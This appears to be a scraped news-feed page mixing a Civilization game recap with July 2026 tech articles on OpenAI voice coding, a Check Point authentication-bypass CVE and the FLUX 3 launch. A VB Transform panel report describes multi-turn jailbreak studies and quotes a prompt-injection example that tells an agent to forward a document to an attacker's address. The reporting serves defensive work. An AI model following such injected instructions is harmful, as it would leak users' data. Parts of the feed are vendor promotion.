I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.

This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.

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]]> <![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]> https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/ https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/ Fri, 24 Jul 2026 00:20:42 +0200 📰 IT Nachrichten tsecurity.de Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows.

The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app).

When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5.

Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.

As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for Codex's more than 5 million weekly active users. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more general productivity platform. An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop.

OpenAI posted a promotional video showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model.

New capabilities unlocked

At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.

While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models.

On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.

This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously.

Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free.

The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.

Directing coding and complex builds with your voice alone

The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments.

Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.

The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.

Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers.

With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.

Proprietary license

OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.

For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed.

Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.

Community reactions

Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows.

Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist @ChrisGPT noted on X: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI".

Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.

]]> <![CDATA[Who Doesn’t Love a Clean Floor? Here Are 25+ Vacuum Deals to Make It Happen]]> https://tsecurity.de/de/3690263/it-nachrichten/who-doesnt-love-a-clean-floor-here-are-25-vacuum-deals-to-make-it-happen/ https://tsecurity.de/de/3690263/it-nachrichten/who-doesnt-love-a-clean-floor-here-are-25-vacuum-deals-to-make-it-happen/ Thu, 23 Jul 2026 23:34:14 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[EU Fines Google $1 Billion For Breaking Digital Antitrust Regulations]]> https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/ https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/ Thu, 23 Jul 2026 23:07:00 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]> https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ Thu, 23 Jul 2026 22:25:55 +0200 📰 IT Security Nachrichten tsecurity.de

Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.

In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”

The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.

Far worse than most

Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.

“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”

In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.

But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.

The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.

Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”

Challenges of IP address restrictions

While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.

“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”

Ideal platform for long-term attacks

Mike Wilkes, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.

“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”

IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. 

“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”

And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”

]]> <![CDATA[Meta drops out of a major clean energy pact as its natural gas buildout accelerates]]> https://tsecurity.de/de/3690117/it-nachrichten/meta-drops-out-of-a-major-clean-energy-pact-as-its-natural-gas-buildout-accelerates/ https://tsecurity.de/de/3690117/it-nachrichten/meta-drops-out-of-a-major-clean-energy-pact-as-its-natural-gas-buildout-accelerates/ Thu, 23 Jul 2026 21:52:26 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]> https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/ https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/ Thu, 23 Jul 2026 21:34:50 +0200 📰 IT Security Nachrichten tsecurity.de

The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). 

AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. 

With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. 

Here is how AI-driven defense, pioneered by Cortex XDR and the era of Agentic Endpoint Security, is fundamentally rewriting the cybersecurity playbook.

  1. From reactive patching to proactive prevention 

For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. 

AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. 

2. Eliminating the “agentic blind spot” 

As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. 

The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. 

3. Machine-speed detection and “attack storylines” 

When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. 

AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. 

4. Surgical and autonomous response 

The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. 

Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. 

Summary

The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. 

The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. 

To learn more about Palto Alto Networks, visit https://www.paloaltonetworks.com.

]]> <![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]> https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ Thu, 23 Jul 2026 20:48:24 +0200 📰 IT Nachrichten tsecurity.de When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

]]> <![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]> https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ Thu, 23 Jul 2026 20:48:22 +0200 📰 IT Nachrichten tsecurity.de Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

Model

Max single-generation duration

Max resolution

Key constraints

Price per 10-second clip (720p)

Price per 10-second clip (1080p)

Price per 10-second clip (4K)

FLUX 3 Video

20 seconds

Not stated; evaluations run at 720p

Early access; no published SLA or pricing

Not announced

Not announced

Not announced

HappyHorse 1.1

15 seconds

1080p

No 4K; closed weights

Not published (v1.0 reseller rate is ~$1.82)

Not published (v1.0 reseller rate is ~$3.12)

n/a

Veo 3.1

Per-second billing

4K

Supports clip extension; preview

$4.00

$4.00

$6.00

Veo 3.1 Fast

Per-second billing

4K

Preview

$1.00

$1.20

$3.00

Veo 3.1 Lite

Per-second billing

1080p

No 4K, no clip extension; preview

$0.50

$0.80

n/a

Gemini Omni Flash

10 seconds (3s minimum)

720p at 24 FPS

Preview abd no EU access

$1.00

n/a

n/a

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

  • Text-to-video generation.

  • Image-to-video generation, either animating from a starting frame or using images as visual references.

  • Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

  • Generative video-audio continuation from existing video and audio input.

  • Keyframe-to-video generation for controlled transitions between defined moments.

  • Multilingual dialogue.

  • A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

  • Typography generation and animated design.

  • Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

